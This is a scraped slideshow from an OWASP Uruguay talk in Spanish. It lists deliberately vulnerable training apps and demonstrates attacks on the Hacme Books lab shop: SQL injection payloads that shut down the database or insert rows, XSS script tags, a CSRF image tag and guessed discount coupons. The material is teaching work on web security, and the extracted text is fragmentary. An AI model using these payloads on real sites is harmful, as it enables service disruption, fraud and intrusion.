de Hacking a un eCommerce

1 de Hacking a un eCommerceEjemplos Prácticos de Hacking ...
Author: Sebastián Rey
0 downloads 2 Views

1 de Hacking a un eCommerceEjemplos Prácticos de Hacking a un eCommerce Mateo Martínez, QSA, CISSP OWASP URUGUAY

2 OWASP Vulnerable Web Applications Directory ProjectGet out of Jail! Offline Virtual Machines (VMs) or ISO images Online/Live Offline: The following list references downloadable vulnerable web applications to play with that can be installed on a standard operating system (Linux, Windows, Mac OS X, etc) using a standard web platform (Apache/PHP, Tomcat/Java, IIS/.NET, etc). The BodgeIt Store (Java): (download) OWASP Bricks (PHP): & docs) The ButterFly Security Project (PHP): (download) bWAPP - an extremely buggy web application! (PHP): (docs) Damn Vulnerable Web Application - DVWA (PHP): (download) Damn Vulnerable Web Services - DVWS (PHP): http://dvws.secureideas.net (download) OWASP Hackademic Challenges Project (PHP):https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project (download) Google Gruyere (Python): (download) Hacme Bank (.NET): (download) Hacme Books (Java): (download) Hacme Casino (Ruby on Rails): Hacme Shipping (ColdFusion): (download) Hacme Travel (C++): (download) OWASP Insecure Web App Project (Java):https://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project (download -orphaned) Mutillidae (PHP): (download) OWASP .NET Goat (C#): https://owasp.codeplex.com (download) Peruggia (PHP): (download) Puzzlemall (Java): https://code.google.com/p/puzzlemall/ (download) (docs) Stanford Securibench (Java) & Micro: (download) SQLI-labs (PHP): https://github.com/Audi-1/sqli-labs (download) (blog) SQLol (PHP): https://github.com/SpiderLabs/SQLol (download) OWASP Vicnum Project (Perl & PHP):https://www.owasp.org/index.php/Category:OWASP_Vicnum_Project (download) VulnApp (.NET): (CVS download & vulns) WackoPicko (PHP): https://github.com/adamdoupe/WackoPicko (download) (whitepaper) OWASP WebGoat (Java): https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project(download) (guide) OWASP ZAP WAVE - Web Application Vulnerability Examples (Java):http://code.google.com/p/zaproxy/downloads/list Wavsep - Web Application Vulnerability Scanner Evaluation Project (Java): https://code.google.com/p/wavsep/ (download) (docs) WIVET - Web Input Vector Extractor Teaser: https://code.google.com/p/wivet/ (download) (tests) Virtual Machines (VMs) or ISO images: The following list references preinstalled and ready to use virtual machines (VMs) or ISO images that contain one or multiple vulnerable web applications to play with. BadStore (ISO): (download - registration required) Bee-Box (bWAPP VMware): http://sourceforge.net/projects/bwapp/files/bee-box/ OWASP BWA - Broken Web Applications Project (VMware - list):https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project (download) Drunk Admin Web Hacking Challenge (VMware): https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/ (download) Exploit.co.il Vuln Web App (VMware): (download) GameOver (VMware): http://sourceforge.net/projects/null-gameover/ (download) Hackxor (VMware): (download) (hints&tips) Hacme Bank Prebuilt VM (VMware): http://ninja-sec.com/index.php/hacme-bank-prebuilt-vmware-image-ninja-sec-com/ (download) Kioptrix4 (VMware & Hyper-V): (download) LAMPSecurity (VMware): (download) (doc) Metasploitable (VMware): - torrent) (doc) Metasploitable 2 (VMware):  https://community.rapid7.com/docs/DOC-1875 (download) Moth (VMware): (download) PentesterLab - The Exercises (ISO & PDF): https://www.pentesterlab.com/exercises/  PHDays I-Bank (VMware):  Samurai WTF (ISO - list): (download) Sauron (Quemu) [Spanish]: http://sg6-labs.blogspot.com/2007/12/secgame-1-sauron.html (solutions) UltimateLAMP (VMware - list): (download) Virtual Hacking Lab (ZIP): http://sourceforge.net/projects/virtualhacking/ (download) Web Security Dojo (VMware, VirtualBox - list): Online/Live: The following list references online and live vulnerable web applications available on the Internet to play with. Acunetix: (Forum - ASP) (Blog - .NET) (Art shopping - PHP) Cenzic CrackMeBank: Google Gruyere (Python): Hacking-Lab (eg. OWASP Top 10): https://www.hacking-lab.com/events/registerform.html?eventid=245 Hack.me (beta): https://hack.me HackThisSite (HTS - Basic & Realistic (web) Missions): http://www.hackthissite.org Hackxor online demo: (algo/smurf) HP/SpiDynamics Free Bank Online: (admin/admin) IBM/Watchfire AltoroMutual: (jsmith/Demo1234) NTOSpider Web Scanner Test Site: (testuser/testpass) OWASP Hackademic Challenges Project - Live (PHP - Joomla): Pentester Academy: http://pentesteracademylab.appspot.com

3 HackPack v1.0 Hacme Bank - Android v1.0 Hacme Bank v2.0 Hacme BooksHacme Casino v1.0 Hacme Shipping Hacme Travel Hacme Bank™ Android is designed to teach mobile application developers, programmers, architects and security professionals how to create secure software and evaluate their own software to identify vulnerabilities. Hacme Bank™ is designed to teach application developers, programmers, architects and security professionals how to create secure software. Foundstone Hacme Books is a learning platform for secure software developmentFoundstone Hacme Casino™ is a learning platform for secure software development. Hacme Shipping is a web-based shipping application developed to demonstrate common web application hacking techniques. Hacme Travel is designed to create secure software.

4 #1 Generación de Errores

5 “ ’ ”

6 stack trace

7 “ ’ ” • Tipo de BD – Hypersonic SQL (org.hsqldb)• Servidor de Aplicación – Apache Tomcat • Utiliza Spring framework • Aplicación J2EE application – Java namespaces

8 #2 Inyección SQL (a)

9 Comando para hacer un halt al servidor de BD en HSQLDB :SHUTDOWN

10 Comando para hacer un halt al servidor de BD en HSQLDB :SHUTDOWN

11 select * from products where title like '%texto_del_usuario%' and like'%otro_texto_del_usuario%'

12 select * from products where title like '%'; SHUTDOWN; --%' and like'%otro_texto_del_usuario%'

13 #2 Inyección SQL (b)

14 my feedback', 735); insert into products (title, description, popularity, price, vendor, category, publisher, isbn, author, imgurl, quantity) values ('Eat my shorts you pointy haired boss','A great book',4,29.95,'Amazon','Technical','Addison Wesley',' ','Disgruntled Employee','http://',1); --

15 #3 XSS (Cross-Site Scripting)

16 { "@context": "http://schema.org", "@type": "ImageObject", "contentUrl": "http://slideplayer.es/2503580/9/images/16/%3Cscript%3Ealert%28+XSS+%29%3C%2Fscript%3E.jpg", "name": "alert( XSS )", "description": "alert( XSS )", "width": "800" }

17 You should buy our latest bestseller instead of this book. { "@context": "http://schema.org", "@type": "ImageObject", "contentUrl": "http://slideplayer.es/2503580/9/images/17/You+should+buy+our+latest+bestseller+instead+of+this+book..jpg", "name": "You should buy our latest bestseller instead of this book.", "description": " location= http://localhost:8989/HacmeBooks/addShoppingCart.html productId=1470 ", "width": "800" }

18 #4 CSRF (Cross-Site Request Forgery)

19 You should really consider purchasing the latest bestseller. src=http://localhost:8989/HacmeBooks/addShoppingCart.html?productId=1470 height="1"/>

20 #5 Crypto

21 15 % de Descuento AEODBOBOOF 25% de Descuento BEAAABBOOF BEOABDBOOF

22 AEODBOBOOF BEAAABBOOF BEOABDBOOF BEAAAB2006 BEOABD2006

23 Probar este cupón: IEODBOBOAD% Mes Día Año IE OD BO BOAD Probar este cupón: IEODBOBOAD

24 #6 Broken Access Control

25

26 Hacme Books

27 ¡Muchas gracias! [email protected]